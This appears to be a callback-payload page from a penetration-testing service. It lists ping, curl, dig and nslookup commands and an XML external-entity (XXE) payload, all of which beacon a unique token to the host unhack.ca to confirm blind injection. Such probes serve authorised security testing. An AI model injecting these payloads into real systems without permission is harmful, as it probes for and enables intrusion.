$ ping -c1 -p 00702956bda76a384c527d9082bf0900 unhack.ca
$ curl http://unhack.ca/p/702956bda76a384c527d9082bf09
$ dig 702956bda76a384c527d9082bf09 @unhack.ca
$ dig 702956bda76a384c527d9082bf09.ns.unhack.ca
C:\> nslookup 702956bda76a384c527d9082bf09 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/702956bda76a384c527d9082bf09">]> <foo>&xxe;</foo>